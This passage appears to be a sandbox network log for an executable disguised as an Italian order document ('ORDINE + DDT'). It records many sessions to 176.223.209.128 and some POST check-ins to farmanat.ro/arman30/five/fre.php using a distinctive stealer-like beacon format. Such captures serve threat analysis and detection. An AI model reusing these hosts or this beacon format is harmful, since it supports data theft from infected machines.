Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
746	192.168.11.20	50594	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
747	192.168.11.20	50595	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
748	192.168.11.20	50596	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
749	192.168.11.20	50597	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.11.20	49912	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:48.224669933 CET	6419	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
750	192.168.11.20	50598	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
751	192.168.11.20	50599	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
752	192.168.11.20	50600	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
753	192.168.11.20	50601	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
754	192.168.11.20	50602	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
755	192.168.11.20	50603	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
756	192.168.11.20	50604	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
757	192.168.11.20	50605	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
758	192.168.11.20	50606	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
759	192.168.11.20	50607	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.11.20	49913	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
760	192.168.11.20	50608	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
761	192.168.11.20	50609	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
762	192.168.11.20	50610	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
763	192.168.11.20	50611	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
764	192.168.11.20	50612	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
765	192.168.11.20	50613	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
766	192.168.11.20	50614	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
767	192.168.11.20	50615	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
768	192.168.11.20	50616	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
769	192.168.11.20	50617	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.11.20	49914	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
770	192.168.11.20	50618	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
771	192.168.11.20	50619	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
772	192.168.11.20	50620	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
773	192.168.11.20	50621	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
774	192.168.11.20	50622	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
775	192.168.11.20	50623	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
776	192.168.11.20	50624	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
777	192.168.11.20	50625	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
778	192.168.11.20	50626	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
779	192.168.11.20	50627	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.11.20	49915	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
780	192.168.11.20	50628	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
781	192.168.11.20	50629	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
782	192.168.11.20	50630	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
783	192.168.11.20	50631	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
784	192.168.11.20	50632	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
785	192.168.11.20	50633	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
786	192.168.11.20	50634	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
787	192.168.11.20	50635	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
788	192.168.11.20	50636	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
789	192.168.11.20	50637	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.11.20	49916	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
790	192.168.11.20	50638	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
791	192.168.11.20	50639	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
792	192.168.11.20	50640	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
793	192.168.11.20	50641	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
794	192.168.11.20	50642	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
795	192.168.11.20	50643	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
796	192.168.11.20	50644	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
797	192.168.11.20	50645	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
798	192.168.11.20	50646	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
799	192.168.11.20	50647	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49828	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:05.424331903 CET	6316	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:05.509834051 CET	6317	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.11.20	49917	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
800	192.168.11.20	50648	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
801	192.168.11.20	50649	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
802	192.168.11.20	50650	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
803	192.168.11.20	50651	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
804	192.168.11.20	50652	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
805	192.168.11.20	50653	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
806	192.168.11.20	50654	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
807	192.168.11.20	50655	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
808	192.168.11.20	50656	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
809	192.168.11.20	50657	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.11.20	49918	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
810	192.168.11.20	50658	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
811	192.168.11.20	50659	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
812	192.168.11.20	50660	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
813	192.168.11.20	50661	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
814	192.168.11.20	50662	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
815	192.168.11.20	50663	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
816	192.168.11.20	50664	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
817	192.168.11.20	50665	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
818	192.168.11.20	50666	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
819	192.168.11.20	50667	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.11.20	49919	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
820	192.168.11.20	50668	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
821	192.168.11.20	50669	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
822	192.168.11.20	50670	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
823	192.168.11.20	50671	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
824	192.168.11.20	50672	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
825	192.168.11.20	50673	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
826	192.168.11.20	50674	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
827	192.168.11.20	50675	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
828	192.168.11.20	50676	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
829	192.168.11.20	50677	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.11.20	49920	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
830	192.168.11.20	50678	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
831	192.168.11.20	50679	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
832	192.168.11.20	50680	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
833	192.168.11.20	50681	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
834	192.168.11.20	50682	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
835	192.168.11.20	50683	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
836	192.168.11.20	50684	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
837	192.168.11.20	50685	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
838	192.168.11.20	50686	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
839	192.168.11.20	50687	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.11.20	49921	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
840	192.168.11.20	50688	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
841	192.168.11.20	50689	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
842	192.168.11.20	50690	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
843	192.168.11.20	50691	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
844	192.168.11.20	50692	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
845	192.168.11.20	50693	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
846	192.168.11.20	50694	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
847	192.168.11.20	50695	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
848	192.168.11.20	50696	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
849	192.168.11.20	50697	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.11.20	49922	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
850	192.168.11.20	50698	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
851	192.168.11.20	50699	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
852	192.168.11.20	50700	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
853	192.168.11.20	50701	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
854	192.168.11.20	50702	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
855	192.168.11.20	50703	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
856	192.168.11.20	50704	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
857	192.168.11.20	50705	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
858	192.168.11.20	50706	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
859	192.168.11.20	50707	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.11.20	49923	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
860	192.168.11.20	50708	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
861	192.168.11.20	50709	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
862	192.168.11.20	50710	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
863	192.168.11.20	50711	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
864	192.168.11.20	50712	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
865	192.168.11.20	50713	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
866	192.168.11.20	50714	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

